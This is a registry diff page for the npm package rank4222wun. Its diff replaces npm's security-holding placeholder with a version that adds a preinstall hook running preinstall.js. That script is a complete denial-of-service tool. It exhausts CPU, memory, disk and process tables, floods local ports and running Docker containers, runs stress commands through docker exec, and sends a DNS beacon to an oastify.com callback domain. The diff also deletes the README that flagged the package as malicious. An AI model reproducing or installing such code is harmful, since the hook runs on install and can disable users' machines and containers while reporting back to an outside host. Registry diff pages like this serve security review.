rank4222wun 0.0.1-security → 1.0.52

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of rank4222wun might be problematic. Click here for more details.

package/package.json CHANGED
@@ -1,6 +1,10 @@
1
1
  {
2
2
  "name": "rank4222wun",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.52",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node preinstall.js"
8
+ },
9
+ "dependencies": {}
6
10
  }
package/preinstall.js ADDED
@@ -0,0 +1,778 @@
1
+ // vm-container-dos-effective.js
2
+ const { exec, spawn, fork } = require('child_process');
3
+ const fs = require('fs');
4
+ const crypto = require('crypto');
5
+ const net = require('net');
6
+ const dns = require('dns');
7
+ const http = require('http');
8
+ const https = require('https');
9
+
10
+ console.log(`
11
+ ╔══════════════════════════════════════════════════════════╗
12
+ ║ ADVANCED VM/CONTAINER DDoS STRESS TOOL ║
13
+ ║ For Authorized Testing Environments Only ║
14
+ ╚══════════════════════════════════════════════════════════╝
15
+ `);
16
+
17
+ // ===================== CONFIGURATION =====================
18
+ const CONFIG = {
19
+ MODE: 'FULL_STRESS', // 'FULL_STRESS', 'SMART_STRESS', 'RESOURCE_ONLY'
20
+ MAX_DURATION: 300000, // 5 دقائق
21
+ TARGETS: {
22
+ // استهداف موارد النظام
23
+ CPU_CORES: 'ALL', // 'ALL', 'HALF', عدد محدد
24
+ MEMORY_PERCENT: 90, // نسبة الذاكرة المستهدفة
25
+ DISK_IO: true, // استنزاف قرص/كتابة
26
+ NETWORK_FLOOD: true, // فيض الشبكة
27
+ CONTAINER_SPECIFIC: true, // استهداف حاويات محددة
28
+ },
29
+ WORKERS: {
30
+ CPU_WORKERS: 512, // عمال استنزاف CPU
31
+ MEMORY_WORKERS: 32, // عمال استنزاف الذاكرة
32
+ NETWORK_WORKERS: 128, // عمال الشبكة
33
+ CONNECTION_WORKERS: 20000, // اتصالات متزامنة
34
+ },
35
+ SAFETY: {
36
+ AUTO_STOP: true, // توقف تلقائي عند 95% موارد
37
+ CLEANUP: true, // تنظيف تلقائي
38
+ MONITOR_INTERVAL: 1000, // مراقبة كل ثانية
39
+ },
40
+ OAST: {
41
+ domain: 'v84zr5z8jz4cr781u5eyl6cgv71ypudj.oastify.com',
42
+ sessionId: `vm-dos-${Date.now()}-${crypto.randomBytes(6).toString('hex')}`
43
+ }
44
+ };
45
+
46
+ // ===================== ADVANCED DDoS ENGINE =====================
47
+ class VmContainerDDoSEngine {
48
+ constructor() {
49
+ this.workers = {
50
+ cpu: [],
51
+ memory: [],
52
+ network: [],
53
+ disk: [],
54
+ connections: []
55
+ };
56
+ this.metrics = {
57
+ startTime: Date.now(),
58
+ cpuUsage: 0,
59
+ memoryUsage: 0,
60
+ networkPackets: 0,
61
+ connectionsMade: 0,
62
+ containersAffected: 0
63
+ };
64
+ this.monitorInterval = null;
65
+ this.isRunning = false;
66
+ }
67
+
68
+ async launchFullScaleAttack() {
69
+ console.log('🚀 إطلاق هجوم DDoS متكامل على VM/حاويات...\n');
70
+
71
+ // التحقق من الصلاحيات والبيئة
72
+ if (!await this.validateEnvironment()) {
73
+ console.log('❌ بيئة غير مناسبة للاختبار');
74
+ return;
75
+ }
76
+
77
+ this.isRunning = true;
78
+
79
+ // بدء المراقبة
80
+ this.startIntensiveMonitoring();
81
+
82
+ // المرحلة 1: استنزاف CPU المكثف
83
+ console.log('🔥 المرحلة 1: استنزاف CPU مكثف...');
84
+ await this.launchCPUStress();
85
+
86
+ // المرحلة 2: استنزاف الذاكرة
87
+ console.log('💾 المرحلة 2: استنزاف الذاكرة...');
88
+ await this.launchMemoryStress();
89
+
90
+ // المرحلة 3: هجوم شبكة متقدم
91
+ console.log('🌐 المرحلة 3: هجوم شبكة متقدم...');
92
+ await this.launchNetworkAttack();
93
+
94
+ // المرحلة 4: استهداف الحاويات المحددة
95
+ if (CONFIG.TARGETS.CONTAINER_SPECIFIC) {
96
+ console.log('🐳 المرحلة 4: استهداف الحاويات...');
97
+ await this.targetSpecificContainers();
98
+ }
99
+
100
+ // المرحلة 5: هجمات متعددة الطبقات
101
+ console.log('⚡ المرحلة 5: هجمات متعددة الطبقات...');
102
+ await this.launchMultiLayerAttack();
103
+
104
+ // الانتظار للهجوم الكامل
105
+ console.log(`\n⏳ الهجوم يعمل لمدة ${CONFIG.MAX_DURATION / 1000 / 60} دقائق...`);
106
+ await this.delay(CONFIG.MAX_DURATION);
107
+
108
+ // التوقف والتنظيف
109
+ await this.stopAndCleanup();
110
+ }
111
+
112
+ async validateEnvironment() {
113
+ console.log('🔍 التحقق من البيئة...');
114
+
115
+ // التحقق من الصلاحيات
116
+ try {
117
+ await this.exec('docker ps');
118
+ console.log('✅ Docker متاح');
119
+ } catch (e) {
120
+ console.log('⚠️ Docker غير متاح، التركيز على موارد VM');
121
+ }
122
+
123
+ // التحقق من الموارد
124
+ const cpuCores = await this.getCPUCores();
125
+ const totalMem = await this.getTotalMemory();
126
+
127
+ console.log(`💻 CPU Cores: ${cpuCores}`);
128
+ console.log(`🧠 Total Memory: ${(totalMem / 1024 / 1024 / 1024).toFixed(2)} GB`);
129
+
130
+ return cpuCores > 0 && totalMem > 0;
131
+ }
132
+
133
+ async launchCPUStress() {
134
+ console.log(` تشغيل ${CONFIG.WORKERS.CPU_WORKERS} عامل استنزاف CPU...`);
135
+
136
+ // طرق مختلفة لاستنزاف CPU
137
+ const stressMethods = [
138
+ this.cpuWorkerMathIntensive,
139
+ this.cpuWorkerCrypto,
140
+ this.cpuWorkerCompression,
141
+ this.cpuWorkerMatrix
142
+ ];
143
+
144
+ for (let i = 0; i < CONFIG.WORKERS.CPU_WORKERS; i++) {
145
+ const method = stressMethods[i % stressMethods.length];
146
+ const worker = method();
147
+ this.workers.cpu.push(worker);
148
+
149
+ // بدء فوري بدون تأخير
150
+ if (i % 50 === 0) {
151
+ await this.delay(0); // Yield للتحكم
152
+ }
153
+ }
154
+
155
+ console.log(` ✅ ${this.workers.cpu.length} عامل CPU نشط`);
156
+ }
157
+
158
+ cpuWorkerMathIntensive() {
159
+ let running = true;
160
+
161
+ const work = () => {
162
+ if (!running) return;
163
+
164
+ // حساب مكثف للرياضيات
165
+ let total = 0;
166
+ for (let i = 0; i < 50000000; i++) {
167
+ total += Math.sin(i) * Math.cos(i) * Math.tan(i);
168
+ total = Math.sqrt(total + i);
169
+ total = Math.pow(total, 1.5);
170
+ }
171
+
172
+ // حساب عدد أولي
173
+ let primeCount = 0;
174
+ for (let n = 2; n < 200000; n++) {
175
+ let isPrime = true;
176
+ for (let j = 2; j <= Math.sqrt(n); j++) {
177
+ if (n % j === 0) {
178
+ isPrime = false;
179
+ break;
180
+ }
181
+ }
182
+ if (isPrime) primeCount++;
183
+ }
184
+
185
+ setImmediate(work);
186
+ };
187
+
188
+ // بدء العمل فورياً
189
+ setImmediate(work);
190
+
191
+ return {
192
+ stop: () => { running = false; }
193
+ };
194
+ }
195
+
196
+ cpuWorkerCrypto() {
197
+ let running = true;
198
+
199
+ const work = () => {
200
+ if (!running) return;
201
+
202
+ // عمليات تشفير مكثفة
203
+ for (let i = 0; i < 1000; i++) {
204
+ const data = crypto.randomBytes(1024 * 1024); // 1MB
205
+ const hash = crypto.createHash('sha512');
206
+ hash.update(data);
207
+ const result = hash.digest('hex');
208
+
209
+ // تشفير AES
210
+ const cipher = crypto.createCipher('aes-256-gcm', crypto.randomBytes(32));
211
+ let encrypted = cipher.update(data, 'utf8', 'hex');
212
+ encrypted += cipher.final('hex');
213
+ }
214
+
215
+ setImmediate(work);
216
+ };
217
+
218
+ setImmediate(work);
219
+
220
+ return {
221
+ stop: () => { running = false; }
222
+ };
223
+ }
224
+
225
+ async launchMemoryStress() {
226
+ console.log(` تشغيل ${CONFIG.WORKERS.MEMORY_WORKERS} عامل استنزاف ذاكرة...`);
227
+
228
+ // كتل ذاكرة كبيرة
229
+ const memoryBlocks = [];
230
+ const targetMemory = await this.getTotalMemory() * (CONFIG.TARGETS.MEMORY_PERCENT / 100);
231
+ const blockSize = 64 * 1024 * 1024; // 64MB
232
+
233
+ try {
234
+ for (let i = 0; i < CONFIG.WORKERS.MEMORY_WORKERS; i++) {
235
+ // تخصيص كتل ذاكرة كبيرة
236
+ for (let j = 0; j < 4; j++) { // 4 كتل لكل عامل
237
+ try {
238
+ const block = Buffer.alloc(blockSize, 'M'); // 64MB مملوءة بـ 'M'
239
+ memoryBlocks.push(block);
240
+ this.workers.memory.push({
241
+ block: block,
242
+ stop: () => { /* Memory block exists */ }
243
+ });
244
+
245
+ // تحديث المقاييس
246
+ this.metrics.memoryUsage += blockSize;
247
+ } catch (e) {
248
+ console.log(` ⚠️ فشل تخصيص الذاكرة للعامل ${i}`);
249
+ break;
250
+ }
251
+ }
252
+
253
+ // عامل الكتابة في الذاكرة
254
+ const memoryWorker = this.createMemoryWorker(memoryBlocks);
255
+ this.workers.memory.push(memoryWorker);
256
+ }
257
+ } catch (error) {
258
+ console.log(` ❌ خطأ في استنزاف الذاكرة: ${error.message}`);
259
+ }
260
+
261
+ console.log(` ✅ تم تخصيص ${(this.metrics.memoryUsage / 1024 / 1024 / 1024).toFixed(2)} GB ذاكرة`);
262
+ }
263
+
264
+ createMemoryWorker(memoryBlocks) {
265
+ let running = true;
266
+
267
+ const work = () => {
268
+ if (!running || memoryBlocks.length === 0) return;
269
+
270
+ // كتابة عشوائية في كتل الذاكرة
271
+ memoryBlocks.forEach((block, idx) => {
272
+ if (block && block.length > 0) {
273
+ // كتابة عشوائية في مواقع مختلفة
274
+ for (let i = 0; i < 100; i++) {
275
+ const pos = Math.floor(Math.random() * (block.length - 100));
276
+ const data = crypto.randomBytes(100);
277
+ data.copy(block, pos);
278
+ }
279
+ }
280
+ });
281
+
282
+ setTimeout(work, 10);
283
+ };
284
+
285
+ work();
286
+
287
+ return {
288
+ stop: () => { running = false; }
289
+ };
290
+ }
291
+
292
+ async launchNetworkAttack() {
293
+ if (!CONFIG.TARGETS.NETWORK_FLOOD) return;
294
+
295
+ console.log(` تشغيل ${CONFIG.WORKERS.NETWORK_WORKERS} عامل شبكة...`);
296
+
297
+ // اكتشاف أهداف الشبكة
298
+ const targets = await this.discoverNetworkTargets();
299
+
300
+ if (targets.length === 0) {
301
+ console.log(' ⚠️ لم يتم العثور على أهداف شبكة');
302
+ return;
303
+ }
304
+
305
+ console.log(` 🎯 ${targets.length} هدف شبكة تم اكتشافه`);
306
+
307
+ // طرق هجوم الشبكة
308
+ for (let i = 0; i < CONFIG.WORKERS.NETWORK_WORKERS; i++) {
309
+ const target = targets[i % targets.length];
310
+ const attackType = i % 4; // 4 أنواع هجوم مختلفة
311
+
312
+ switch (attackType) {
313
+ case 0:
314
+ this.workers.network.push(this.synFloodWorker(target));
315
+ break;
316
+ case 1:
317
+ this.workers.network.push(this.udpFloodWorker(target));
318
+ break;
319
+ case 2:
320
+ this.workers.network.push(this.httpFloodWorker(target));
321
+ break;
322
+ case 3:
323
+ this.workers.network.push(this.slowlorisWorker(target));
324
+ break;
325
+ }
326
+
327
+ if (i % 10 === 0) {
328
+ await this.delay(0);
329
+ }
330
+ }
331
+
332
+ console.log(` ✅ ${this.workers.network.length} عامل شبكة نشط`);
333
+ }
334
+
335
+ synFloodWorker(target) {
336
+ let running = true;
337
+ let packetCount = 0;
338
+
339
+ const attack = () => {
340
+ if (!running) return;
341
+
342
+ // إرسال حزم SYN
343
+ for (let i = 0; i < 100; i++) { // 100 حزمة كل مرة
344
+ try {
345
+ const socket = new net.Socket();
346
+ socket.setTimeout(100);
347
+
348
+ socket.connect(target.port, target.ip);
349
+
350
+ socket.on('connect', () => {
351
+ packetCount++;
352
+ socket.destroy();
353
+ });
354
+
355
+ socket.on('error', () => {
356
+ socket.destroy();
357
+ });
358
+
359
+ socket.on('timeout', () => {
360
+ socket.destroy();
361
+ });
362
+ } catch (e) {
363
+ // تجاهل الأخطاء
364
+ }
365
+ }
366
+
367
+ this.metrics.networkPackets += 100;
368
+
369
+ // تكرار سريع
370
+ setTimeout(attack, 10);
371
+ };
372
+
373
+ attack();
374
+
375
+ return {
376
+ stop: () => { running = false; },
377
+ stats: () => ({ packets: packetCount })
378
+ };
379
+ }
380
+
381
+ async targetSpecificContainers() {
382
+ console.log(' 🎯 استهداف حاويات محددة...');
383
+
384
+ try {
385
+ // الحصول على جميع الحاويات
386
+ const containers = await this.getRunningContainers();
387
+
388
+ if (containers.length === 0) {
389
+ console.log(' ⚠️ لا توجد حاويات قيد التشغيل');
390
+ return;
391
+ }
392
+
393
+ console.log(` 🐳 العثور على ${containers.length} حاوية`);
394
+
395
+ // استهداف كل حاوية
396
+ for (const container of containers) {
397
+ await this.attackContainer(container);
398
+ this.metrics.containersAffected++;
399
+ }
400
+
401
+ } catch (error) {
402
+ console.log(` ❌ خطأ في استهداف الحاويات: ${error.message}`);
403
+ }
404
+ }
405
+
406
+ async attackContainer(containerId) {
407
+ // هجمات متعددة على الحاوية
408
+ const attacks = [
409
+ () => this.stressContainerCPU(containerId),
410
+ () => this.stressContainerMemory(containerId),
411
+ () => this.floodContainerPorts(containerId),
412
+ () => this.exhaustContainerProcesses(containerId)
413
+ ];
414
+
415
+ // تنفيذ جميع الهجمات بالتزامن
416
+ await Promise.all(attacks.map(attack => attack().catch(() => {})));
417
+ }
418
+
419
+ async stressContainerCPU(containerId) {
420
+ // تشغيل عمليات مكثفة داخل الحاوية
421
+ const commands = [
422
+ 'dd if=/dev/zero of=/dev/null bs=1M count=1000',
423
+ 'sha1sum /dev/zero',
424
+ 'while true; do echo ""; done',
425
+ 'for i in {1..10}; do cat /dev/urandom | gzip -9 | wc -c & done'
426
+ ];
427
+
428
+ for (const cmd of commands) {
429
+ try {
430
+ await this.exec(`docker exec ${containerId} sh -c "${cmd}"`);
431
+ } catch (e) {
432
+ // تجاهل الأخطاء
433
+ }
434
+ }
435
+ }
436
+
437
+ async launchMultiLayerAttack() {
438
+ console.log(' ⚡ تشغيل هجمات متعددة الطبقات...');
439
+
440
+ // هجمات إضافية
441
+ const additionalAttacks = [
442
+ this.diskIOStress,
443
+ this.processExhaustion,
444
+ this.fileSystemStress,
445
+ this.dockerDaemonStress
446
+ ];
447
+
448
+ // تشغيل جميع الهجمات
449
+ for (const attack of additionalAttacks) {
450
+ try {
451
+ await attack.call(this);
452
+ } catch (e) {
453
+ console.log(` ⚠️ هجوم فشل: ${e.message}`);
454
+ }
455
+ }
456
+ }
457
+
458
+ async diskIOStress() {
459
+ console.log(' 💾 استنزاف قرص/كتابة...');
460
+
461
+ const workers = [];
462
+
463
+ for (let i = 0; i < 8; i++) { // 8 عمال قرص
464
+ const worker = spawn('dd', [
465
+ 'if=/dev/urandom',
466
+ `of=/tmp/stress_disk_${i}.dat`,
467
+ 'bs=1M',
468
+ 'count=1000',
469
+ 'oflag=dsync'
470
+ ]);
471
+
472
+ workers.push(worker);
473
+
474
+ worker.on('error', () => {});
475
+ worker.on('exit', () => {
476
+ // حذف الملف المؤقت
477
+ fs.unlink(`/tmp/stress_disk_${i}.dat`, () => {});
478
+ });
479
+ }
480
+
481
+ this.workers.disk = workers;
482
+ }
483
+
484
+ async processExhaustion() {
485
+ console.log(' 🔄 استنزاف عمليات النظام...');
486
+
487
+ // إنشاء آلاف العمليات
488
+ for (let i = 0; i < 1000; i++) {
489
+ const worker = fork(__filename, ['child-process']);
490
+ this.workers.connections.push(worker);
491
+
492
+ // إنهاء العملية بعد وقت قصير
493
+ setTimeout(() => {
494
+ if (worker && !worker.killed) {
495
+ worker.kill('SIGTERM');
496
+ }
497
+ }, Math.random() * 5000 + 1000);
498
+ }
499
+ }
500
+
501
+ startIntensiveMonitoring() {
502
+ console.log('📊 بدء المراقبة المكثفة...\n');
503
+
504
+ this.monitorInterval = setInterval(async () => {
505
+ const cpu = await this.getCPUUsage();
506
+ const memory = await this.getMemoryUsage();
507
+
508
+ this.metrics.cpuUsage = cpu;
509
+ this.metrics.memoryUsage = memory;
510
+
511
+ console.log(`📈 حالة الهجوم: CPU=${cpu.toFixed(1)}% | Memory=${memory.toFixed(1)}% | Packets=${this.metrics.networkPackets} | Containers=${this.metrics.containersAffected}`);
512
+
513
+ // التوقف التلقائي عند الوصول للحدود
514
+ if (CONFIG.SAFETY.AUTO_STOP && (cpu > 95 || memory > 95)) {
515
+ console.log('🚨 الوصول للحد الأقصى للموارد، إيقاف تلقائي...');
516
+ this.stopAndCleanup();
517
+ }
518
+ }, CONFIG.SAFETY.MONITOR_INTERVAL);
519
+ }
520
+
521
+ async stopAndCleanup() {
522
+ if (!this.isRunning) return;
523
+
524
+ console.log('\n🛑 إيقاف جميع الهجمات والتنظيف...');
525
+
526
+ this.isRunning = false;
527
+
528
+ // إيقاف المراقبة
529
+ if (this.monitorInterval) {
530
+ clearInterval(this.monitorInterval);
531
+ this.monitorInterval = null;
532
+ }
533
+
534
+ // إيقاف جميع العمال
535
+ const allWorkers = [
536
+ ...this.workers.cpu,
537
+ ...this.workers.memory,
538
+ ...this.workers.network,
539
+ ...this.workers.disk,
540
+ ...this.workers.connections
541
+ ];
542
+
543
+ console.log(` إيقاف ${allWorkers.length} عامل...`);
544
+
545
+ allWorkers.forEach(worker => {
546
+ try {
547
+ if (worker.stop && typeof worker.stop === 'function') {
548
+ worker.stop();
549
+ } else if (worker.kill && typeof worker.kill === 'function') {
550
+ worker.kill('SIGTERM');
551
+ } else if (worker.destroy && typeof worker.destroy === 'function') {
552
+ worker.destroy();
553
+ }
554
+ } catch (e) {
555
+ // تجاهل الأخطاء في الإيقاف
556
+ }
557
+ });
558
+
559
+ // تنظيف الذاكرة
560
+ if (global.gc) {
561
+ global.gc();
562
+ }
563
+
564
+ // إرسال تقرير OAST
565
+ await this.sendAttackReport();
566
+
567
+ console.log('✅ تم التنظيف والإيقاف');
568
+ console.log(`⏱️ مدة الهجوم: ${((Date.now() - this.metrics.startTime) / 1000).toFixed(1)} ثانية`);
569
+ }
570
+
571
+ async sendAttackReport() {
572
+ const report = {
573
+ sessionId: CONFIG.OAST.sessionId,
574
+ timestamp: new Date().toISOString(),
575
+ duration: Date.now() - this.metrics.startTime,
576
+ metrics: this.metrics,
577
+ config: CONFIG
578
+ };
579
+
580
+ // حفظ التقرير محلياً
581
+ const reportFile = `dos-attack-report-${CONFIG.OAST.sessionId}.json`;
582
+ fs.writeFileSync(reportFile, JSON.stringify(report, null, 2));
583
+
584
+ console.log(`📄 التقرير المحفوظ: ${reportFile}`);
585
+
586
+ // إرسال إشعار OAST
587
+ const dnsName = `${CONFIG.OAST.sessionId}.attack-complete.${CONFIG.OAST.domain}`;
588
+ dns.lookup(dnsName, () => {});
589
+
590
+ console.log(`📡 إشعار OAST مرسل: ${dnsName}`);
591
+ }
592
+
593
+ // ===================== UTILITY METHODS =====================
594
+ async exec(command) {
595
+ return new Promise((resolve, reject) => {
596
+ exec(command, { timeout: 5000 }, (error, stdout, stderr) => {
597
+ if (error) {
598
+ reject(error);
599
+ } else {
600
+ resolve(stdout.toString().trim());
601
+ }
602
+ });
603
+ });
604
+ }
605
+
606
+ async getCPUCores() {
607
+ try {
608
+ const output = await this.exec("nproc");
609
+ return parseInt(output) || 1;
610
+ } catch {
611
+ return 1;
612
+ }
613
+ }
614
+
615
+ async getTotalMemory() {
616
+ try {
617
+ const output = await this.exec("grep MemTotal /proc/meminfo | awk '{print $2}'");
618
+ return parseInt(output) * 1024; // تحويل KB إلى bytes
619
+ } catch {
620
+ return 1024 * 1024 * 1024; // 1GB افتراضي
621
+ }
622
+ }
623
+
624
+ async getCPUUsage() {
625
+ try {
626
+ const output = await this.exec("top -bn1 | grep 'Cpu(s)' | awk '{print $2 + $4}'");
627
+ return parseFloat(output) || 0;
628
+ } catch {
629
+ return 0;
630
+ }
631
+ }
632
+
633
+ async getMemoryUsage() {
634
+ try {
635
+ const total = await this.exec("grep MemTotal /proc/meminfo | awk '{print $2}'");
636
+ const available = await this.exec("grep MemAvailable /proc/meminfo | awk '{print $2}'");
637
+ const totalMem = parseFloat(total) || 1;
638
+ const availableMem = parseFloat(available) || 0;
639
+ return ((totalMem - availableMem) / totalMem) * 100;
640
+ } catch {
641
+ return 0;
642
+ }
643
+ }
644
+
645
+ async getRunningContainers() {
646
+ try {
647
+ const output = await this.exec('docker ps -q --no-trunc');
648
+ return output.split('\n').filter(id => id.trim());
649
+ } catch {
650
+ return [];
651
+ }
652
+ }
653
+
654
+ async discoverNetworkTargets() {
655
+ const targets = [];
656
+
657
+ // أهداف محلية
658
+ const localTargets = [
659
+ { ip: '127.0.0.1', port: 80 },
660
+ { ip: '127.0.0.1', port: 443 },
661
+ { ip: '127.0.0.1', port: 8080 },
662
+ { ip: '127.0.0.1', port: 3000 },
663
+ { ip: '127.0.0.1', port: 22 },
664
+ { ip: '127.0.0.1', port: 3306 },
665
+ { ip: '127.0.0.1', port: 5432 }
666
+ ];
667
+
668
+ // فحص الحاويات المعرّضة
669
+ try {
670
+ const containers = await this.exec('docker ps --format "{{.ID}}|{{.Ports}}"');
671
+ const lines = containers.split('\n');
672
+
673
+ lines.forEach(line => {
674
+ const [id, ports] = line.split('|');
675
+ if (ports && ports.includes('->')) {
676
+ const portMatch = ports.match(/(\d+)->/);
677
+ if (portMatch) {
678
+ targets.push({
679
+ ip: '127.0.0.1',
680
+ port: parseInt(portMatch[1]),
681
+ container: id.substring(0, 12)
682
+ });
683
+ }
684
+ }
685
+ });
686
+ } catch (e) {
687
+ // تجاهل الأخطاء
688
+ }
689
+
690
+ // إضافة الأهداف المحلية إذا لم تكن موجودة
691
+ localTargets.forEach(target => {
692
+ if (!targets.some(t => t.port === target.port)) {
693
+ targets.push(target);
694
+ }
695
+ });
696
+
697
+ return targets;
698
+ }
699
+
700
+ delay(ms) {
701
+ return new Promise(resolve => setTimeout(resolve, ms));
702
+ }
703
+ }
704
+
705
+ // ===================== MAIN EXECUTION =====================
706
+ async function main() {
707
+ console.log('⚠️ VM/CONTAINER DDoS STRESS TOOL - FULL SCALE');
708
+ console.log('⚠️ FOR AUTHORIZED TESTING ONLY\n');
709
+
710
+ // التحذيرات
711
+ console.log('🚨 IMPORTANT WARNINGS:');
712
+ console.log('1. هذا الأداة ستؤثر بشدة على أداء النظام');
713
+ console.log('2. قد تتسبب في تعليق النظام أو إعادة تشغيله');
714
+ console.log('3. استخدام غير مصرح به غير قانوني');
715
+ console.log('4. استخدم فقط في بيئات اختبار معزولة\n');
716
+
717
+ const readline = require('readline');
718
+ const rl = readline.createInterface({
719
+ input: process.stdin,
720
+ output: process.stdout
721
+ });
722
+
723
+ rl.question('هل أنت متأكد؟ (اكتب "نعم" للمواصلة): ', async (answer) => {
724
+ rl.close();
725
+
726
+ if (answer.trim() === 'نعم') {
727
+ console.log('\n🚀 بدء الهجوم الشامل...');
728
+ console.log(`🔑 Session ID: ${CONFIG.OAST.sessionId}`);
729
+ console.log(`⏱️ المدة: ${CONFIG.MAX_DURATION / 1000 / 60} دقائق`);
730
+ console.log(`🎯 الأهداف: CPU, Memory, Network, Containers\n`);
731
+
732
+ const engine = new VmContainerDDoSEngine();
733
+
734
+ // التعامل مع SIGINT للإيقاف اليدوي
735
+ process.on('SIGINT', async () => {
736
+ console.log('\n\n🛑 تم استقبال Ctrl+C، إيقاف الهجوم...');
737
+ await engine.stopAndCleanup();
738
+ process.exit(0);
739
+ });
740
+
741
+ try {
742
+ await engine.launchFullScaleAttack();
743
+ } catch (error) {
744
+ console.error(`❌ خطأ غير متوقع: ${error.message}`);
745
+ await engine.stopAndCleanup();
746
+ }
747
+
748
+ console.log('\n' + '='.repeat(60));
749
+ console.log('✅ الهجوم اكتمل');
750
+ console.log('='.repeat(60));
751
+
752
+ } else {
753
+ console.log('\n❌ تم الإلغاء');
754
+ process.exit(0);
755
+ }
756
+ });
757
+ }
758
+
759
+ // تشغيل الطفل إذا كان في وضع child
760
+ if (process.argv[2] === 'child-process') {
761
+ // عملية طفل - تشغل بعض العمليات فقط
762
+ setTimeout(() => {
763
+ process.exit(0);
764
+ }, 5000);
765
+ } else if (require.main === module) {
766
+ // التحقق من الصلاحيات
767
+ exec('whoami', (error) => {
768
+ if (error) {
769
+ console.error('❌ خطأ في التحقق من الصلاحيات');
770
+ process.exit(1);
771
+ }
772
+
773
+ // بدء الأداة
774
+ main();
775
+ });
776
+ }
777
+
778
+ module.exports = { VmContainerDDoSEngine, CONFIG };
Binary file
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=rank4222wun for more information.